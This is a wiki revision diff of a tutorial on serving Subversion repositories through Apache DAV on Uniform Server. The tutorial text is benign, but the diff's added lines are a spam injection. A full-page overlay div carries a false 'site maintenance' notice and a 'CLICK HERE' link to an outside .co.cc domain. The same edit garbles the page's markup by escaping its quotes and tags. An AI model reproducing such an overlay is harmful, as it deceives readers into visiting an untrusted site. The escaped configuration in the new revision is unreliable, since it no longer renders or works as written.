SVN: Introduction: Difference between revisions

no edit summary
(New page: {{SVN Nav}} '''Installing Subversion on 5.0-Nano''' This series explains how to install Subversion on Uniform Server 5.0-Nano. The goal is to produce a fully portable version running from...)
 
No edit summary
Line 1: Line 1:
----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://ovarynetyv.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
----
=[http://ovarynetyv.co.cc CLICK HERE]=
----
</div>
{{SVN Nav}}
{{SVN Nav}}
'''Installing Subversion on 5.0-Nano'''
'''Installing Subversion on 5.0-Nano'''
Line 44: Line 52:
Once a folder has been converted into a repository you can start using it straight away. Use an SVN client to add your project (folders and files). However it is recommended you first create the following three folders:   
Once a folder has been converted into a repository you can start using it straight away. Use an SVN client to add your project (folders and files). However it is recommended you first create the following three folders:   


{|cellspacing="6"
{|cellspacing=&quot;6&quot;
|-valign="top"
|-valign=&quot;top&quot;
|&nbsp; ||'''''Trunk'':'''|| Is the main branch of development. This is where your next major release lives. It has all the newest features and code.
|&amp;nbsp; ||'''''Trunk'':'''|| Is the main branch of development. This is where your next major release lives. It has all the newest features and code.
|-valign="top"
|-valign=&quot;top&quot;
|&nbsp; ||'''''Branches'':'''|| Are used to try out new features without disturbing the main line of development. Once stable are merged back into the trunk. Or every time you release a major version a branch created. This allows you to do bug fixes and make a new release without having to release the newest unfinished or untested main version.
|&amp;nbsp; ||'''''Branches'':'''|| Are used to try out new features without disturbing the main line of development. Once stable are merged back into the trunk. Or every time you release a major version a branch created. This allows you to do bug fixes and make a new release without having to release the newest unfinished or untested main version.
|-valign="top"
|-valign=&quot;top&quot;
|&nbsp;||'''''Tags'':'''|| Every time you release a version such as final release, release candidate or betas make a tag for it. Its a point-in-time copy of the code and should never be editted. Must remain fixed and unchaged allowing you to go back to a known point in time.
|&amp;nbsp;||'''''Tags'':'''|| Every time you release a version such as final release, release candidate or betas make a tag for it. Its a point-in-time copy of the code and should never be editted. Must remain fixed and unchaged allowing you to go back to a known point in time.
|}
|}
With the above structure in place add all your new material to the '''trunk'''.
With the above structure in place add all your new material to the '''trunk'''.
Line 66: Line 74:
{|
{|
|-
|-
|<pre>
|&lt;pre&gt;
<Location /repos_name>
&lt;Location /repos_name&gt;
   DAV svn
   DAV svn
   SVNPath /absolute/path/to/repository
   SVNPath /absolute/path/to/repository
</Location>
&lt;/Location&gt;
</pre>
&lt;/pre&gt;
|
|
* '''repos_name''' Name you type into a browser e.g <nowiki>http://localhost</nowiki>/'''repos_name'''   
* '''repos_name''' Name you type into a browser e.g &lt;nowiki&gt;http://localhost&lt;/nowiki&gt;/'''repos_name'''   
* '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request.  
* '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request.  
* '''SVNPath''' Absolute path to the repository folder. (Generally repos_name and folder name are the same.)  
* '''SVNPath''' Absolute path to the repository folder. (Generally repos_name and folder name are the same.)  
Line 84: Line 92:
{|
{|
|-
|-
|<pre>
|&lt;pre&gt;
<Location /image_controller>
&lt;Location /image_controller&gt;
   DAV svn
   DAV svn
   SVNPath C:/design/image_controller
   SVNPath C:/design/image_controller
</Location>
&lt;/Location&gt;
</pre>
&lt;/pre&gt;
|
|
* '''image_controller''' Name you type into a browser e.g <nowiki>http://localhost</nowiki>/'''image_controller'''   
* '''image_controller''' Name you type into a browser e.g &lt;nowiki&gt;http://localhost&lt;/nowiki&gt;/'''image_controller'''   
* '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request.  
* '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request.  
* '''SVNPath''' Absolute path to the repository folder C:/design/image_controller  
* '''SVNPath''' Absolute path to the repository folder C:/design/image_controller  
Line 98: Line 106:
{|
{|
|-
|-
|<pre>
|&lt;pre&gt;
<Location /unitray_menu>
&lt;Location /unitray_menu&gt;
   DAV svn
   DAV svn
   SVNPath E:/project2/menus/unitray_menu
   SVNPath E:/project2/menus/unitray_menu
</Location>
&lt;/Location&gt;
</pre>
&lt;/pre&gt;
|
|
* '''unitray_menu''' Name you type into a browser e.g <nowiki>http://localhost</nowiki>/'''unitray_menu'''   
* '''unitray_menu''' Name you type into a browser e.g &lt;nowiki&gt;http://localhost&lt;/nowiki&gt;/'''unitray_menu'''   
* '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request.  
* '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request.  
* '''SVNPath''' Absolute path to the repository folder E:/project2/menus/unitray_menu  
* '''SVNPath''' Absolute path to the repository folder E:/project2/menus/unitray_menu  
Line 121: Line 129:
{|
{|
|-
|-
|<pre>
|&lt;pre&gt;
<Location /svn>
&lt;Location /svn&gt;
   DAV svn
   DAV svn
   SVNParentPath C:/a_svn/UniServer/svn
   SVNParentPath C:/a_svn/UniServer/svn
</Location>
&lt;/Location&gt;
</pre>
&lt;/pre&gt;
|
|
* '''svn''' Top level name. Any folder name after this is assumed to be a repository request and passed to DAV for resolving   
* '''svn''' Top level name. Any folder name after this is assumed to be a repository request and passed to DAV for resolving   
Line 133: Line 141:
|}
|}
The repositories may be accessed using the following URL:
The repositories may be accessed using the following URL:
* <nowiki>http://localhost</nowiki>/svn/'''image_controller'''  
* &lt;nowiki&gt;http://localhost&lt;/nowiki&gt;/svn/'''image_controller'''  
* <nowiki>http://localhost</nowiki>/svn/'''unitray_menu'''  
* &lt;nowiki&gt;http://localhost&lt;/nowiki&gt;/svn/'''unitray_menu'''  


'''''Note'':''' Entering <nowiki>http://localhost</nowiki>/svn will produce the following error message:
'''''Note'':''' Entering &lt;nowiki&gt;http://localhost&lt;/nowiki&gt;/svn will produce the following error message:
<pre>
&lt;pre&gt;
Forbidden You don't have permission to access /svn/ on this server.  
Forbidden You don't have permission to access /svn/ on this server.  
</pre>
&lt;/pre&gt;
Effectively the URL is requesting a page listing all repositories in folder '''svn'''.
Effectively the URL is requesting a page listing all repositories in folder '''svn'''.
    
    
Line 145: Line 153:
{|
{|
|-
|-
|<pre>
|&lt;pre&gt;
<Location /svn>
&lt;Location /svn&gt;
   DAV svn
   DAV svn
   SVNListParentPath on
   SVNListParentPath on
   SVNParentPath C:/a_svn/UniServer/svn
   SVNParentPath C:/a_svn/UniServer/svn
</Location>
&lt;/Location&gt;
</pre>
&lt;/pre&gt;
|
|
* '''svn''' Top level name. Any folder name after this is assumed to be a repository request and passed to DAV for resolving   
* '''svn''' Top level name. Any folder name after this is assumed to be a repository request and passed to DAV for resolving   
* '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request.  
* '''DAV svn''' Instructs Apache to pass the request onto the DAV layer for processing as a subversion (svn) request.  
* '''SVNListParentPath on''' Enables listing of all repositories for URL <nowiki>http://localhost</nowiki>/'''svn'''
* '''SVNListParentPath on''' Enables listing of all repositories for URL &lt;nowiki&gt;http://localhost&lt;/nowiki&gt;/'''svn'''
* '''SVNParentPath''' Absolute path to the parent folder containing all the repositories. C:/a_svn/UniServer/svn  
* '''SVNParentPath''' Absolute path to the parent folder containing all the repositories. C:/a_svn/UniServer/svn  
|}
|}
322

edits